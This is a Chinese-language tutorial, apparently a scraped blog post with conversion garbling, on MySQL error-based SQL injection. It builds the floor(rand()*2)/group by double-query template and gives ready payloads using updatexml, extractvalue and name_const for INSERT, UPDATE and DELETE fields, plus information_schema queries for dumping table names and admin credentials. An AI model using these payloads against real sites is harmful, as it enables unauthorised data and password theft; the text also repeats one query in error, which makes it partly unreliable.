本文**:報錯注入
用sql注入獲取資料庫資料,利用的方法可以大致分為聯合查詢、報錯、布林盲注以及延時注入,通常這些方法都是基於select查詢語句中的sql注射 點來實現的。如果涉及非select查詢的注入,我們通常用到的就是mysql注入查詢
建立乙個test表
use test;
create table test(num
int(5
));insert into test values(1);
insert into test values(2);
insert into test values(3);
insert into test values(4);
select *from test;
複製**
主要涉及的mysql函式語句:
1. rand() #隨機函式
2. floor() #取整函式
3. conunt() #彙總函式
4. group by #分組語句
複製**
原理:當在乙個聚合函式,比如conunt函式後面如果使用分組語句就會把查詢的一部分以錯誤的形式顯示出來
--源於安全研究人員
簡單的例子:
use test;
複製**
然後簡單看一下concat的用法
select concat("a
","b");
複製**
查詢什麼就出來什麼,
下面分別看一下其它幾個函式的作用
select rand();
複製**
rand()函式,學過程式設計的人都應該知道是乙個產生隨機數的函式範圍在(
0,1)之間的浮點數
再看看floor()函式
select floor(
3.141216545
);複製**
顯而易見,是乙個取整的函式
select floor(rand()*2
);複製**
rand()的範圍是(
0,1)*2==>(0,2
)那麼floor(rand()*2
)取整後就是0和1兩個數
select concat((select database()),floor(rand()*2
));複製**
如果我們將上面那句加上from某個表,就會返回test0和test1的集合,返回的長度有表的記錄數決定 ,例如我們from一下test表。
返回了4行資料
那麼,我們如何過濾掉這些重複的資訊呢?
這裡就要用到group by語句,group by的作用是:
用於結合合計函式,根據乙個或多個列對結果集進行分組。
我們來查詢一下
select concat((select database()),floor(rand()*2)) as a from
test group by a;
複製**
這樣就不會有那麼多無用的資訊
簡單解釋一下語句:
concat((select database()),floor(rand()*2)) as
a 這個就是將列名重新命名為a,看圖對比一 下即可知道
group by a就是將根據a這個列的資料,將查詢出來相同的資料分到乙個組裡面,因此我們看 到的資料就只有兩個不同的
同理,我們可以將database()換成其它你想要查詢的東西,如version(),@@data等。
而我們注入的時候通常是通過mysql的information_schema這個資料庫來查詢資訊,
查詢資料名就查詢schemata的schema_name這個列
暴庫select * from
information_schema.schemata;
複製**
裡面就是我的資料名字
爆表select distinct table_name from information_schema.tables;
複製**
爆列名select distinct table_name from information_schema.tables;
複製**
太長了我就不截圖了,自己去看看吧
爆字段就更簡單了
直接查詢就是
select username,password from admin;
複製**
假如存在這列名和表
知道這些後我們利用報錯注入就可以,查詢到我們想要的資料了
select count(*), concat((select version()), floor(rand()*2))as a from
information_schema.tables group by a;
複製**
為了好看你可以加一些標記
select count(*), concat('
--',(select user()),'
--', floor(rand()*2))as a from
information_schema.tables group by a;
複製**
更加高階的一點的就是,我們真正用到的雙注入查詢,是select的巢狀子查詢,就是select裡面還有乙個select查詢語句
通常是一種固定的格式,適用於沒有回現位置和不能order by確定的注入
union
select
1from (select+count(*),concat(floor(rand(0)*2),( 注入爆資料語句))a from
information_schema.tables group by a)b
藍色部分就是我們之前講的基本報錯原理,而union是因為我們注入**時,別人查詢資料我 們使用union關鍵字進行聯合查詢,那如果人家使用的不是select查詢呢?如果不是select,我們可以將這個語句巢狀到裡面去就可,如使用or關鍵字等,進行查詢,同樣 可以進行注入,這個比較靈活
本來想貼某雲的位址的,但想想還是算了。
簡單測試了一下,還是可以的,主要用到的**是這幾個
or updatexml(
1,concat(0x7e,(version())),0) or ''
or extractvalue(
1,concat(0x7e,database())) or ''
or (select * from(select(name_const(version(),1)),name_const(version(),1))a) or ''
複製**
主要就是三種,還有一些其他的就不貼出來了,都是放在插入、刪除和更新的字段後面
簡單舉個例子吧
insert into test values (
5 or updatexml(1,concat(0x7e,(version())),0) or''
);複製**
記得後面加兩個單引號!
關於例項,可以論壇搜尋,看30的帖子吧。這裡就不做演示了
鏈結http:
ps:寫的不好大牛勿噴,不知道排版怎麼樣,其實我在乎的是排版不是內容
寫在最後,謝謝**
mysql 報錯注入語句 mysql注入
sql的注入型別有以下5種 boolean based blind sql injection 布林型注入 error based sql injection 報錯型注入 union query sql injection 可聯合查詢注入 stacked queries sql injection ...
SQL注入之報錯注入
固定語句公式 union select 1 from select count concat floor rand 0 2 注入爆資料語句 a from information schema.tables group by a b 假如id輸入存在注入的話,可以通過如下語句進行報錯。mysql se...
SQL注入之報錯注入
0x01 報錯注入 在實際場景中,沒有乙個資料的返回資訊點。此時需要用報錯注入使其顯示出注入資訊。使用到報錯注入的場景有 普通報錯注入,即沒有資料返回點 insert注入 update注入 delete注入 0x02 常用到的兩個報錯函式 updatexml 和extractvalue 函式 0x0...